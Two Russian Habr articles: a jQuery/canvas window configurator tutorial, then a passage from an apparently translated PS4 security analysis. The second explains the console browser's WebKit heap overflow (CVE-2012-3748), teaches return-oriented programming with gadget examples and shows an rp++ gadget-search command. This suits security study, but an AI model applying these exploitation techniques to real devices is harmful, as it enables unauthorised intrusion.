# Визуальный конфигуратор окон, написанный за один час
Решал интересную задачу – сделать визуальный редактор-конфигуратор окон.
Подробностями процесса разработки я с вами, коллеги, и поделюсь.
UPD. Добавил скриншоты.
UPD2. **Речь идет об окнах оффлайновых, застекленных, деревянных или пластиковых — через которые на улицу из дома смотрят**
Спасибо за отклики!
Бизнес-требования
=================
Интервьюирую заказчика.
1. Это модуль для сайта, который должен работать в произвольных популярных кейсах.
2. В режиме редактирования программа должна позволять указывать количество и расположение проемов в окнах.
3. В режиме редактирования программа должна позволять указывать способ открывания проемов в окнах, пять вариантов: нет открывания, налево, направо, налево и откидывается, направо и откидывается.
4. В режиме отображения программа должна картинкой в произвольном масштабе отображать конфигурацию окна.
5. Не нужно хранить и работать со сведениями о размере, пропорциях, цвете и других характеристиках окна. Картинки должны быть цветными и понятными. ЕСКД в данном случае не при делах.
6. Не должно глючить, тупить, должно быть кроссбраузерно, должно работать на в браузерах планшетных ПК и на смартфонах и т.д.
На этом этапе мы совместно с заказчиком поиском по картинкам Google просматриваем интерфейс аналогичных продуктов. Поиском по сайтам находим продавцов окон, и посещаем десяток сайтов, чтобы посмотреть на интерфейс онлайн-конфигураторов и вообще ассортимент конфигураций окон. Обсуждаем, что у нас должно быть, и чего, быть не должно.
ТУ и ТЗ
=======
Теперь дополняем бизнес-требования техническими условиями, для того, чтобы в итоге сформировать техническое задание.
1. Изходя из требования произвольного масштабирования – возникает понимание, что графика должна быть векторной. Кроссбраузерное решение, которое удовлетворит – HTML5 canvas.
2. Очевидно, должно быть два режима: режим редактирования и режим отображения.
3. В режиме редактирования данные должны сохраняться в input type=hidden. Я не буду вносить изменений в CMS – зачем мне лишние головняки? Просто добавлю одно поле в формы для добавления и редактирования, в СУБД и в соответствующие модели (у меня реально это происходит одним действием, если у вас нет – вероятно имеет смысл пересмотреть структуру программы).
4. В режиме редактирования ранее созданная визуальная конфигурация окна должна восстанавливаться из данных, находящихся и подставленных автоматически в поле input type=hidden.
5. В режиме отображения CMSка отдаст данные, как свойство какого-нибудь div, и моя программа должна эти данные: а) обнаружить, б) нарисовать по ним окно.
В данном случае спецификацию я делать не буду, а пойду по пути наименьшего сопротивления. Хорошая часть видения решения присутствует уже на данный момент, поэтому я начну реализацию немедленно.
Разработка
==========
Суровая программисткая реальность: не хочу усложнять себе жизнь, и поэтому изначально создаю масштабируемые и сопровождаемые решения. Поэтому DRY, поэтому абстракции и слои – сразу, по умолчанию.
Когда просматривал разновидности окон, зарисовал в тетрадке карандашом небольшой каталог, чтобы понять, что предстоит рисовать. Когда я делал эти зарисовки, пришло понимание, что я не хочу делать это на CSS (вероятно зря), и продолжать работать с .
Иду искать библиотеку для работы с canvas. Нахожу [calebevans.me/projects/jcanvas](http://calebevans.me/projects/jcanvas/), бегло просматриваю документацию, оцениваю качество исходников и понимаю, что это то, что мне нужно сейчас.
Понимаю, что рисование будет самой низкоуровневой функцией. И вообще, давно хочется порисовать. Пробую несколько функций по документации, нахожу примеры онлайн в песочнице. Все работает, все устраивает.
Начинаем рисовать
=================
Создам функцию-основу для рисования окна.
```
function windows_init(selector)
{
window_canvas = $('').
attr('width',window_width).
attr('height',window_height).
attr('background','blue').
insertAfter(selector);
}
```
Естественно, функции не хранят параметры (это называется данными). Внутри функций – переменные.
В тот момент совесть не просыпалась, поэтому они в глобальной области видимости. Если она проснется – просто положу все в класс. Если проснется одновременно с ленью (или здравым смыслом) – буду писать на CoffeeScript. Сейчас звезды встали в определенное положение, и есть некоторое понимание того, что конечный продукт будет маленькой программой, состоящей из десятка фунций jQuery, в связи с чем целесообразность подобных действий в настоящий момент просто не рассматривается. Сначала сделать, чтобы работало. Рефакторинг – потом.
Глядя на свои зарисовки, вижу, что я могу рисовать оконные проемы, как прямоугольники, и обозначать открывание с помощью ровных ломаных линий внутри них.
```
function make_leaf(canvas, x,y, width, height, window)
{
canvas.drawRect({
layer: true,
strokeStyle: window_silver,
fillStyle: window_blue,
strokeWidth: 1,
x: x, y: y,
width: width,
height: height,
fromCenter: false,
});
}
```
Теперь – линии, обозначающие открывание. Left — налево, right – направо, tilt – откидывание. Кейса с фрамугой вниз нет (переспрашивал, когда интервьюировал заказчика), поэтому и заморачиваться сейчас не буду. Если возникнет потребность – потом можно будет легко его добавить.
```
// window opening draw
function open_left(canvas, x, y, width, height)
{
canvas.drawLine({
strokeStyle: window_gray,
strokeWidth: 1,
x1: x, y1: y,
x2: x + width, y2: y + (height / 2),
x3: x, y3: y + height,
});
}
function open_right(canvas, x, y, width, height)
{
canvas.drawLine({
strokeStyle: window_gray,
strokeWidth: 1,
x1: x + width, y1: y,
x2: x, y2: y + (height / 2),
x3: x + width, y3: y + height,
});
}
function tilt(canvas, x, y, width, height)
{
canvas.drawLine({
strokeStyle: window_gray,
strokeWidth: 1,
x1: x, y1: y + height,
x2: x + (width / 2), y2: y,
x3: x + width, y3: y + height,
});
}
```
Пишу несколько очень быстрых тестов, чтобы попробовать это. Все работает, поэтому перехожу дальше.
Виды окон
=========
Собственно, по конфигурации проемов все окна можно поделить на “вертикальные” (как обычно делают в квартирах), Т-образные. Реже встречаются “горизонтальные” — в подъездах и в учреждениях.
Сначала нарисую что-нибудь попроще. Параметр leafs – количество проемов.
```
function window_vertical(canvas, x, y, width, height, leafs, window)
{
var leaf = width / leafs;
for (var i = 0; i < leafs; i++)
{
var leaf_x = x + (leaf * i);
var leaf_y = y;
var leaf_width = leaf;
var leaf_height = height;
var leaf_num = i;
make_leaf(canvas, leaf_x, leaf_y, leaf_width, leaf_height, window, leaf_num);
}
}
```
Посредством небольшой отладки и серии мелких тестов привожу функцию в рабочий вид.
Руками передаю параметры и вызываю функции, рисующие открывание – для того, чтобы сверху отображались ломанные линии.
Поворачиваю на 90 градусов, и получаю “горизонтальное” окно.
```
function window_horisontal(canvas, x, y, width, height, leafs, window)
{
var leaf = height / leafs;
for (var i = 0; i < leafs; i++)
{
var leaf_x = x;
var leaf_y = y + (leaf * i);
var leaf_width = width;
var leaf_height = leaf;
var leaf_num = i;
make_leaf(canvas, leaf_x,leaf_y,leaf_width, leaf_height, window, leaf_num);
}
}
```
Тестирую, добиваюсь работоспособности.
Красивая пропорция – 1 к 2. Так как в бизнес-требованиях есть указание не заморачиваться с пропорциями, для Т-образного окна сделаю вот такой дизайн.
```
function window_t(canvas, x,y,width, height,leafs, window)
{
var w = width / leafs;
make_leaf(canvas, x, y, width, height / 3, window, 0);
for (var i = 0; i < leafs; i++)
{
var leaf_x = x + (w * i);
var leaf_y = y + (height / 3 );
var leaf_width = w;
var leaf_height = height * 2 / 3;
var leaf_num = i + 1;
make_leaf(canvas, leaf_x,leaf_y,leaf_width, leaf_height, window, leaf_num);
}
}
```
Делаю тесты, заставляю все работать ровно, без рывков.
Каталог
=======
Нарисую все виды окон, с которыми должна работать программа.
```
function windows_catalog()
{
window_horisontal(
window_canvas,
0,
padding,
catalog_height,
catalog_height,
1,
{type: 'single', leafs: 1, from: 'catalog'});
var offset = catalog_height + padding;
for (var i = 2; i < 5; i++)
{
window_vertical(
window_canvas,
offset,
padding,
catalog_height * (i / 2),
catalog_height,
i,
{type: 'vertical', leafs: i, from: 'catalog'});
offset += padding + (catalog_height * (i / 2));
}
window_horisontal(
window_canvas,
offset,
padding,
catalog_height,
catalog_height,
2,
{type: 'horisontal', leafs: 2, from: 'catalog'});
offset += padding + catalog_height;
for (var i = 0; i < 3; i++)
{
window_t(
window_canvas,
offset,
padding,
catalog_height,
catalog_height,
i + 2,
{type: 't', leafs: i + 2, from: 'catalog'});
offset += padding + catalog_height
}
}
```
Седьмой параметр и понимание его содержание добавились позднее. Просто не обращайте на него внимание сейчас.
И добавлю в функцию, ответственные за рисование створки окна, коллбек на клик. Промежуточная версия кода не сохранилась – взяв хороший разгон, я позабыл делать частые комиты, поэтому покажу окончательную версию.
```
function make_leaf(canvas, x,y, width, height, window, leaf_num)
{
canvas.drawRect({
layer: true,
strokeStyle: window_silver,
fillStyle: window_blue,
strokeWidth: 1,
x: x, y: y,
width: width,
height: height,
fromCenter: false,
click: function(layer) {
leaf_clicked(window, leaf_num)
}
});
}
```
И функция, которая ловит клик по створке большого окна или маленькому окну в каталоге.
```
function leaf_clicked(window, leaf_num)
{
if ( ! window)
{
return;
}
window_canvas.clearCanvas();
windows_catalog();
if (window.size == 'big')
{
trigger_opening(leaf_num);
}
big_window(window.type, window.leafs);
}
```
Была мысль сделать раздельные коллбеки, но в процессе причин для совершения лишней работы не нашел.
Добавил функцию-диспетчер, для удобства.
```
function opening(canvas, x, y, width, height, num)
{
switch (window_opening[num])
{
case 'left':
open_left(canvas, x, y, width, height);
break;
case 'left tilt':
open_left(canvas, x, y, width, height);
tilt(canvas, x, y, width, height);
break;
case 'right':
open_right(canvas, x, y, width, height);
break;
case 'right tilt':
open_right(canvas, x, y, width, height);
tilt(canvas, x, y, width, height);
break;
}
}
```
Переключение открывания створок
===============================
Открывание створок будет переключаться щелчком. Что может быть проще?
Сохраню в массиве список створок, и определю во втором массиве возможности по их открыванию.
```
// window opening
var window_opening = [];
var opening_order = ['none', 'left tilt', 'right tilt', 'left', 'right'];
```
Заполню массив данными по умолчанию. Не лучший вариант, но на момент написания думал о другом – о вероятном сохранении данных.
```
function set_opening(leaf_count)
{
for (var i = 0; i < leaf_count; i++)
{
window_opening.push(opening_order[0]);
}
}
```
По щелчку должно меняться открывание створки. В цикле по возможностям открывания: нет, налево, направо, налево и откидывается, направо и откидывается.
```
function trigger_opening(num)
{
var current = opening_order.indexOf(window_opening[num]);
if ((current + 2) > opening_order.length)
{
current = 0;
}
else
{
current++;
}
window_opening[num] = opening_order[current];
window_data();
}
```
И тут же, не уходя далеко…
Сохранение
==========
Данные после редактирования нужно сохранять.
Сделаю сериализацию от руки.
```
function window_data()
{
var string = order.type + '|' + order.leafs;
for (var i in window_opening)
{
string += '|' + window_opening[i];
}
var select = $('input[name="window_type"]');
select.val(string);
}
```
И, теперь никто не мешает рисовать окна из сохраненных данных.
```
function window_from_string(string)
{
if ( ! string.length)
{
return;
}
var data = string.split('|');
for (var i = 0; i < 10; i++)
{
window_opening[i] = data[i + 2];
}
big_window(data[0],data[1]);
}
```
Конфигурация окон может отрисовываться в списках заказов, это очень удобно. Маленькие картинки.
```
function small_window_from_string(element, string, width, height)
{
if ( ! string.length)
{
return;
}
var small_canvas = $('').
attr('width',width).
attr('height',height).
appendTo(element);
var data = string.split('|');
for (var i = 0; i < 10; i++)
{
window_opening[i] = data[i + 2];
}
var leafs = data[1];
switch (data[0])
{
case 'single':
window_vertical(small_canvas, 0, 0, width, height, leafs, false);
break;
case 'vertical':
window_vertical(small_canvas, 0, 0, width, height, leafs, false);
break;
case 'horisontal':
window_horisontal(small_canvas, 0, 0, width, height, leafs, false);
break;
case 't':
window_t(small_canvas, 0, 0, width, height, leafs, false);
break;
}
}
```
Когда же рисовать?
==================
Программа должна каким-то образом понимать, что настало время рисовать окна.
Исходя из ТЗ, есть два варианта – поле формы и в произвольном месте.
```
function windows_handler()
{
// add or edit
var select = $('input[name="window_type"]');
if (select.length)
{
select.hide();
windows_init(select);
window_from_string(select.val());
}
// show small window
$('.magic_make_window').each(function() {
small_window_from_string($(this),$(this).attr('window'), $(this).width(), $(this).height())
});
}
```
Пожалуй, input[name=«window\_type»] – не лучшее решение. Просто на этот момент у меня была цель запустить программу в работу, и я совсем не хотел модифицировать CMSку — поэтому обучил плагин искать свое поле по его имени: windows\_type.
Если делать из этой программы библиотеку, нужно положить селектор в переменную. И обязательно завернуть это в класс, чтобы закрыть пространство имен, и т.д.
Итого
=====
Вот переработанный код целиком. Это бета, и она же пошла в продакшн без изменений.
```
$(document).ready(function() {
set_opening(10);
});
function windows_handler()
{
// add or edit
var select = $('input[name="window_type"]');
if (select.length)
{
select.hide();
windows_init(select);
window_from_string(select.val());
}
// show small window
$('.magic_make_window').each(function() {
small_window_from_string($(this),$(this).attr('window'), $(this).width(), $(this).height())
});
}
function small_window_from_string(element, string, width, height)
{
if ( ! string.length)
{
return;
}
var small_canvas = $('').
attr('width',width).
attr('height',height).
appendTo(element);
var data = string.split('|');
for (var i = 0; i < 10; i++)
{
window_opening[i] = data[i + 2];
}
var leafs = data[1];
switch (data[0])
{
case 'single':
window_vertical(small_canvas, 0, 0, width, height, leafs, false);
break;
case 'vertical':
window_vertical(small_canvas, 0, 0, width, height, leafs, false);
break;
case 'horisontal':
window_horisontal(small_canvas, 0, 0, width, height, leafs, false);
break;
case 't':
window_t(small_canvas, 0, 0, width, height, leafs, false);
break;
}
}
function window_from_string(string)
{
if ( ! string.length)
{
return;
}
var data = string.split('|');
for (var i = 0; i < 10; i++)
{
window_opening[i] = data[i + 2];
}
big_window(data[0],data[1]);
}
var window_width = 900;
var window_height = 350;
var catalog_height = window_width / 18;
var padding = 15;
var window_canvas;
var window_blue = '#8CD3EF';
var window_silver = 'white';
var window_gray = 'black';
var order = {type: undefined, leafs: undefined};
function window_data()
{
var string = order.type + '|' + order.leafs;
for (var i in window_opening)
{
string += '|' + window_opening[i];
}
var select = $('input[name="window_type"]');
select.val(string);
}
function windows_init(selector)
{
window_canvas = $('').
attr('width',window_width).
attr('height',window_height).
attr('background','blue').
insertAfter(selector);
windows_catalog();
}
function windows_catalog()
{
window_horisontal(
window_canvas,
0,
padding,
catalog_height,
catalog_height,
1,
{type: 'single', leafs: 1, from: 'catalog'});
var offset = catalog_height + padding;
for (var i = 2; i < 5; i++)
{
window_vertical(
window_canvas,
offset,
padding,
catalog_height * (i / 2),
catalog_height,
i,
{type: 'vertical', leafs: i, from: 'catalog'});
offset += padding + (catalog_height * (i / 2));
}
//~ for (var i = 2; i < 6; i++)
//~ {
window_horisontal(
window_canvas,
offset,
padding,
catalog_height,
catalog_height,
2,
{type: 'horisontal', leafs: 2, from: 'catalog'});
offset += padding + catalog_height;
//~ }
for (var i = 0; i < 3; i++)
{
window_t(
window_canvas,
offset,
padding,
catalog_height,
catalog_height,
i + 2,
{type: 't', leafs: i + 2, from: 'catalog'});
offset += padding + catalog_height
}
}
function window_t(canvas, x,y,width, height,leafs, window)
{
var w = width / leafs;
make_leaf(canvas, x, y, width, height / 3, window, 0);
for (var i = 0; i < leafs; i++)
{
var leaf_x = x + (w * i);
var leaf_y = y + (height / 3 );
var leaf_width = w;
var leaf_height = height * 2 / 3;
var leaf_num = i + 1;
make_leaf(canvas, leaf_x,leaf_y,leaf_width, leaf_height, window, leaf_num);
if (window.from != 'catalog')
{
opening(canvas, leaf_x,leaf_y,leaf_width, leaf_height, leaf_num);
}
}
}
function window_vertical(canvas, x, y, width, height, leafs, window)
{
var leaf = width / leafs;
for (var i = 0; i < leafs; i++)
{
var leaf_x = x + (leaf * i);
var leaf_y = y;
var leaf_width = leaf;
var leaf_height = height;
var leaf_num = i;
make_leaf(canvas, leaf_x, leaf_y, leaf_width, leaf_height, window, leaf_num);
if (window.from != 'catalog')
{
opening(canvas, leaf_x, leaf_y, leaf_width, leaf_height, leaf_num);
}
}
}
function window_horisontal(canvas, x, y, width, height, leafs, window)
{
var leaf = height / leafs;
for (var i = 0; i < leafs; i++)
{
var leaf_x = x;
var leaf_y = y + (leaf * i);
var leaf_width = width;
var leaf_height = leaf;
var leaf_num = i;
make_leaf(canvas, leaf_x,leaf_y,leaf_width, leaf_height, window, leaf_num);
if (window.from != 'catalog')
{
opening(canvas, leaf_x,leaf_y,leaf_width, leaf_height, leaf_num);
}
}
}
function make_leaf(canvas, x,y, width, height, window, leaf_num)
{
canvas.drawRect({
layer: true,
strokeStyle: window_silver,
fillStyle: window_blue,
strokeWidth: 1,
x: x, y: y,
width: width,
height: height,
fromCenter: false,
click: function(layer) {
leaf_clicked(window, leaf_num)
}
});
}
function big_window(window_type, leafs)
{
var padding_top = catalog_height + (padding * 2);
if (window_width > window_height)
{
var segment = window_height - padding_top;
}
//~ else
//~ {
//~ var segment = (window_width - catalog_height - (padding * 3)) / 2;
//~ }
order.type = window_type;
order.leafs = leafs;
window_data();
switch (window_type)
{
case 'single':
window_vertical(
window_canvas,
0,
padding_top,
segment,
segment,
leafs,
{type: 'single', leafs: 1, size: 'big'});
break;
case 'vertical':
window_vertical(
window_canvas,
0,
padding_top,
segment /2 * leafs,
segment,
leafs,
{type: 'vertical', leafs: leafs, size: 'big'});
break;
case 'horisontal':
window_horisontal(
window_canvas,
0,
padding_top,
(segment * 2) / leafs,
segment,
leafs,
{type: 'horisontal', leafs: leafs, size: 'big'});
break;
case 't':
window_t(
window_canvas,
0,
padding_top,
segment,
segment,
leafs,
{type: 't', leafs: leafs, size: 'big'});
break;
}
}
function leaf_clicked(window, leaf_num)
{
if ( ! window)
{
return;
}
window_canvas.clearCanvas();
windows_catalog();
if (window.size == 'big')
{
trigger_opening(leaf_num);
}
big_window(window.type, window.leafs);
}
function opening(canvas, x, y, width, height, num)
{
switch (window_opening[num])
{
case 'left':
open_left(canvas, x, y, width, height);
break;
case 'left tilt':
open_left(canvas, x, y, width, height);
tilt(canvas, x, y, width, height);
break;
case 'right':
open_right(canvas, x, y, width, height);
break;
case 'right tilt':
open_right(canvas, x, y, width, height);
tilt(canvas, x, y, width, height);
break;
}
}
// window opening draw
function open_left(canvas, x, y, width, height)
{
canvas.drawLine({
strokeStyle: window_gray,
strokeWidth: 1,
x1: x, y1: y,
x2: x + width, y2: y + (height / 2),
x3: x, y3: y + height,
});
}
function open_right(canvas, x, y, width, height)
{
canvas.drawLine({
strokeStyle: window_gray,
strokeWidth: 1,
x1: x + width, y1: y,
x2: x, y2: y + (height / 2),
x3: x + width, y3: y + height,
});
}
function tilt(canvas, x, y, width, height)
{
canvas.drawLine({
strokeStyle: window_gray,
strokeWidth: 1,
x1: x, y1: y + height,
x2: x + (width / 2), y2: y,
x3: x + width, y3: y + height,
});
}
// window opening
var window_opening = [];
var opening_order = ['none', 'left tilt', 'right tilt', 'left', 'right'];
function set_opening(leaf_count)
{
for (var i = 0; i < leaf_count; i++)
{
window_opening.push(opening_order[0]);
}
}
function trigger_opening(num)
{
var current = opening_order.indexOf(window_opening[num]);
if ((current + 2) > opening_order.length)
{
current = 0;
}
else
{
current++;
}
window_opening[num] = opening_order[current];
window_data();
}
```
Что не показано в статье. Функция windows\_handler запускается другим JS-компонентом, по двум событиям: document.ready и успешной загрузке аяксовых данных. Таким образом, окна отрисовываются немедленно после загрузки страницы, и перерисовываются, если происходит интерактивное обновление данных (“живой режим”).
Все юзкейсы выполняются. Сделал простой тест с большим количеством перерисовываний без перезагрузок, оставил машину с запущенными хромом и мозилой на некоторое время – память не жрется. Погонял этот же тест несколько часов в хроме и в сафари на айпаде и макбуке. Проблем не обнаружено.
Скриншоты
=========
Маленькая картинка, создается на клиенте на лету (распечатывается великолепно)
Большая картинка. Размеры можно и поправить, когда-нибудь.
В режиме редактирования. Щелчок на маленькое окошко в каталоге изменяет конфигурацию большого (и сразу же данные в input type=hidden).
Щелчок на створку большого окна изменяет открывание створки.
Красота!
========
Изменений в CMS не было. Окно добавляется и редактируется в скрытом поле, отрисовывается в div. Получается, что конфигуратор окон можно засунуть в произвольный вордпресс — просто подключив этот скрипт.
В настоящий момент благодаря этому решению продано, заказано и установлено уже очень много новых окон.
Хорошо бы засунуть этот код в какую-нибудь песочницу, вместе с тестами. Как вы считаете?
Сообщайте замечания в личку.
Спасибо! | https://habr.com/ru/post/238065/ | null | ru | null |
# Анализ защиты Sony PlayStation 4
Поскольку никаких публичных заявлений касательно взлома PS4 не поступало уже давно, настало время нарушить тишину и рассказать немного о том, как далеко зашел прогресс в отношении взлома PS4, а так же о причинах, которые мешают продвинуться дальше.
В данной статье я затрону некоторые принципы безопасности, касающиеся всех современных систем, а также поделюсь своими находками, сделанными благодаря выполнению [ROP-тестов](https://ru.wikipedia.org/wiki/%D0%92%D0%BE%D0%B7%D0%B2%D1%80%D0%B0%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) на моей PS4.
Если вы плохо знакомы с применением эксплойтов, вам cледует сначала прочитать [мою прошлую статью](http://cturt.github.io/DS-exploit-finding.html) про взлом игр DS с помощью уязвимости целостности стека (*stack smash*) в файлах сохранений.
Загрузить всё необходимое для собственных экспериментов можно [здесь](https://github.com/CTurt/PS4-playground), на данный момент поддерживается исключительно прошивка 1.76.
Известные факты про PS4
-----------------------
> Как вам скорее всего известно, в PS4 используется специальный восьмиядерный x86-64 CPU от AMD, про архитектуру которого опубликовано достаточно много исследований, и даже если эта специфическая версия процессора слегка отличается от общепринятого стандарта, это едва ли будет заметно. Например, PFLA (*Page Fault Liberation Army*) на 29C3 (*29th Chaos Communication Congress*) продемонстрировала доказательство *proof-of-concept* того, что можно реализовать полную по Тюрингу машину, используя лишь страничные ошибки (*page fault*) и x86 MMU, видео доступно на YouTube. Это будет интересно и тем, кто, запустив код в виртуальной машине, при этом желает выполнять инструкции на CPU хоста.
*[Новостная статья EurAsia под номером 3251](http://www.eurasia.nu/modules.php?name=News&file=article&sid=3251&mode=&order=0&thold=0)*
Причем мы имеем дело не только с хорошо задокументированной архитектурой CPU — использованное в [PS4 ПО](https://en.wikipedia.org/wiki/PlayStation_4_system_software) по большей части относится к [open source](http://www.scei.co.jp/ps4-license/).
Для нас самым главным является то, что Orbis OS, на которой работает консоль, основана на FreeBSD и использует отдельные части NetBSD, повторяя в этом плане ситуацию с PS3; помимо FreeBSD 9.0, из другого заметного крупного ПО используются [Mono VM](http://www.mono-project.com/docs/advanced/runtime/) и [WebKit](https://www.webkit.org/).
Точка входа — WebKit
--------------------
WebKit — это открытый движок рендеринга веб-страниц в браузерах для iOS, Wii U, 3DS, PS Vita и PS4.
Несмотря на столь широкое применение и зрелость проекта, WebKit не лишен отдельных уязвимостей; о большинстве из них вы можете узнать по записям [Pwn2Own](https://en.wikipedia.org/wiki/Pwn2Own#Summary_of_successful_exploits).
В частности, браузер в PS4 с прошивкой 1.76 использует версию WebKit, уязвимую к [CVE-2012-3748](https://www.exploit-db.com/exploits/28081/), переполнению буфера в области данных кучи (*heap-based buffer overflow*) в методе `JSArray::sort(...)`.
В 2014 году nas и Proxima заявили, что им удалось [успешно портировать данный эксплойт](http://wololo.net/talk/viewtopic.php?p=368577) для использования на браузере PS4, и выложили код PoC в паблик, чем положили начало процессу взлома PS4.
Этот код дает произвольный доступ к чтению и записи всего, что процесс WebKit может читать/записывать, и это в свою очередь может быть использовано для дампа модулей и перезаписывания адресов возврата на стеке, позволив нам установить контроль над cчётчиком команд (для ROP).
С того времени было обнаружено [много других уязвимостей в WebKit](http://wololo.net/2015/04/22/new-webkit-exploit-found-vita-maybe-playstation-4/), которые предположительно позволяют производить дампинг модулей и ROP на новейших прошивках PS4, но в момент написания ни один из этих эксплойтов не был портирован на PS4.
Что такое ROP (return oriented programming)?
--------------------------------------------
В отличие от примитивных устройств вроде [DS](http://cturt.github.io/exploits.html) и PSP, в PS4 используется ядро, контролирующее опции разных областей памяти. Страницы памяти, помеченные выполняемыми, не могут быть перезаписаны; страницы, помеченные записываемыми, не могут быть выполнены; этот принцип известен под названием [Data Execution Prevention (DEP)](https://en.wikipedia.org/wiki/Data_Execution_Prevention).
Для нас это означает невозможность использования простого пути: копирования полезной нагрузки (payload) в память и ее последующего выполнения. Однако, мы можем выполнить код, который уже загружен в память и помечен как выполняемый.
Сама по себе возможность прыжка по одному адресу не несёт особой пользы, если мы не можем записать наш собственный код по этому адресу — вот поэтому мы и прибегнем к ROP.
[Возвратно-ориентированное программирование (ROP)](https://en.wikipedia.org/wiki/Return-oriented_programming) — это всего лишь усовершенствованная версия традиционного «stack smashing» (атаки на переполнение буфера), но вместо перезаписывания одного значения, на которое прыгнет PC, мы можем сцепить вместе много различных адресов, известных как «гаджеты»
Обычно, гаджет — это всего лишь единственная желаемая конструкция, за которой следует `ret`.
В ассемблере x86\_64, когда выполнение доходит до инструкции `ret`, 64-битное значение выталкивается со стека и PC прыгает на него; поскольку мы можем контролировать стек, то можем заставить каждую инструкцию `ret` прыгать на следующий нужный гаджет.
Например, начиная с `0x80000` могут храниться инструкции:
```
mov rax, 0
ret
```
А начиная с `0x90000` хранятся следующие инструкции:
```
mov rbx, 0
ret
```
Если мы перезапишем адрес возврата на стеке, чтобы тот хранил `0x80000` и следом `0x90000`, то как только выполнение дойдет до первой инструкции `ret`, оно прыгнет на `mov rax, 0`, а сразу после этого следующая инструкция `ret` вытолкнет со стека `0x90000` и прыгнет на `mov rbx, 0`.
Таким образом, данная цепочка сыграет нам на руку и установит оба регистра `rax` и `rbx` в 0, как если бы мы просто написали код в одном месте и выполнили последовательно.
Цепочки ROP не ограничиваются только списком адресов; предположим, что с `0xa0000` идут следующие инструкции:
```
pop rax
ret
```
Мы можем установить первый элемент цепочки в `0xa0000` и следующий элемент — в любое желаемое значение для `rax`.
Гаджеты также не обязаны заканчиваться на инструкции `ret`; мы можем использовать гаджеты, заканчивающиеся на `jmp`:
```
add rax, 8
jmp rcx
```
Сделав так, что `rcx` указывает на инструкцию `ret`, цепочка выполнится обычным образом:
```
chain.add("pop rcx", "ret");
chain.add("add rax, 8; jmp rcx");
```
Иногда у вас не получится найти именно тот гаджет, который вам нужен, сам по себе — только с другими инструкциями после него. Например, если вы хотите установить `r8` в какое-либо значение, но у вас есть только это гаджет, то вам придется установить `r9` в какое-нибудь фиктивное значение:
```
pop r8
pop r9
ret
```
Хотя вам время от времени и придется проявить свои способности к творчеству при написании ROP-цепочек, тем не менее, принято считать, что при использовании достаточно большого дампа кода полученных гаджетов будет достаточно для полной по Тьюрингу функциональности; это и делает ROP жизнеспособным методом обхода DEP.
Поиск гаджетов
--------------
Понять ROP вам поможет следующая метафора.
Представьте, что вы пишете новую главу в книге, при этом пользуясь исключительно теми словами, которые стояли в концах предложений предыдущих глав. Очевидно, что в силу принципов конструкции фраз вы едва ли встретите слова «and» или «or» в конце одного из предложений — но нам потребуются эти соединительные элементы, если мы хотим написать что-нибудь осмысленное.
Вполне возможно, однако, что одно из предложений завершилось на слове «sand». И, хоть по авторскому замыслу мы и должны прочитать это слово целиком начиная с буквы «s», если мы начнем свое чтение с «a», то по *чистой случайности* получим совсем другое слово — «and», что нам и требовалось.
Эти принципы также применимы и к ROP.
Поскольку структура практически всех функций выглядит примерно так:
```
; Сохранение регистров
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rbx
sub rsp, 18h
; Тело функции
; Восстановление регистров
add rsp, 18h
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
```
Поэтому стоит ожидать обнаружения только гаджетов `pop`, или, что бывает реже, `xor rax, rax`, которые устанавливают значение в 0 перед возвратом.
Сравнение вроде
```
cmp [rax], r12
ret
```
не имеет никакого смысла, поскольку результат сравнения не используется функцией. Однако, вероятность обнаружить подобные гаджеты все ещё остается.
Инструкции x86\_64 похожи на слова тем, что обладают переменной длиной, и могут значить совершенно разные вещи в зависимости от того, откуда начинается декодирование.
> Архитектура x86\_64 — это набор инструкций CISC переменной длины. Возвратно-ориентированное программирование на x86\_64 пользуется тем фактом, что набор инструкций является очень «плотным» — в том плане, что любая произвольная последовательность байт чаще всего может быть интерпретирована как валидный набор инструкций x86\_64.
*— Wikipedia*
Для демонстрации этого, взгляните на конце этой функции из модуля WebKit:
```
000000000052BE0D mov eax, [rdx+8]
000000000052BE10 mov [rsi+10h], eax
000000000052BE13 or byte ptr [rsi+39h], 20h
000000000052BE17 ret
```
Теперь взгляните, как будет выглядеть код, если мы начнем декодирование с `0x52be14`:
```
000000000052BE14 cmp [rax], r12
000000000052BE17 ret
```
Пусть этот код никогда и не предназначался для выполнения, он находится в области памяти, которая была помечена «выполняемой», что делает её весьма привлекательной для использования в качестве гаджета.
Конечно, было бы невероятно затратно тратить время на поиск всех возможных способов интерпретации кода перед каждой инструкцией `ret` вручную; за нас это умеют делать существующие утилиты. Для поиска ROP-гаджетов я предпочитаю использовать [rp++](https://github.com/0vercl0k/rp/); чтобы сгенерировать текстовый файл, заполненный гаджетами, просто введите команду:
```
rp-win-x64 -f mod14.bin --raw=x64 --rop=1 --unique > mod14.txt
```
Ошибки сегментации
------------------
Если мы попытаемся выполнить неисполняемую страницу памяти, или попытаемся записать в незаписываемую страницу памяти, произойдет ошибка сегментации.
К примеру, так выглядит попытка выполнить код на стеке, который «замаппен» только на чтение и запись (rw):
```
setU8to(chain.data + 0, 0xeb);
setU8to(chain.data + 1, 0xfe);
chain.add(chain.data);
```
А вот так — попытка записать код, который «замаппен» только на чтение и выполнение (rx):
```
setU8to(moduleBases[webkit], 0);
```
Если происходит ошибка сегментации, то на экране появляется сообщение «Недостаточно свободной системной памяти», и загрузки страницы не произойдет:
Причиной вывода этого сообщения может быть и что-то другое — например, выполнение неправильной инструкции или нереализованного системного вызова, — но чаще всего оно вылезает именно из-за ошибки сегментации.
ASLR
----
[Address Space Layout Randomization](https://ru.wikipedia.org/wiki/Address_Space_Layout_Randomization) (ASLR) — технология безопасности, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур, а именно: образа исполняемого файла, подгружаемых библиотек, кучи и стека. Из-за нее базовые адреса модулей изменяются каждый раз, когда вы запускаете свою PS4.
Мне поступали свидетельства, что [в самых старых версиях прошивки (1.05) ASLR была отключена](https://www.youtube.com/watch?v=aEu208625XA), но она появилась где-то в районе 1.70. Заметьте, что ASLR для ядра отключена, по крайней мере для прошивок версии 1.76 и ниже, и это будет доказано дальше.
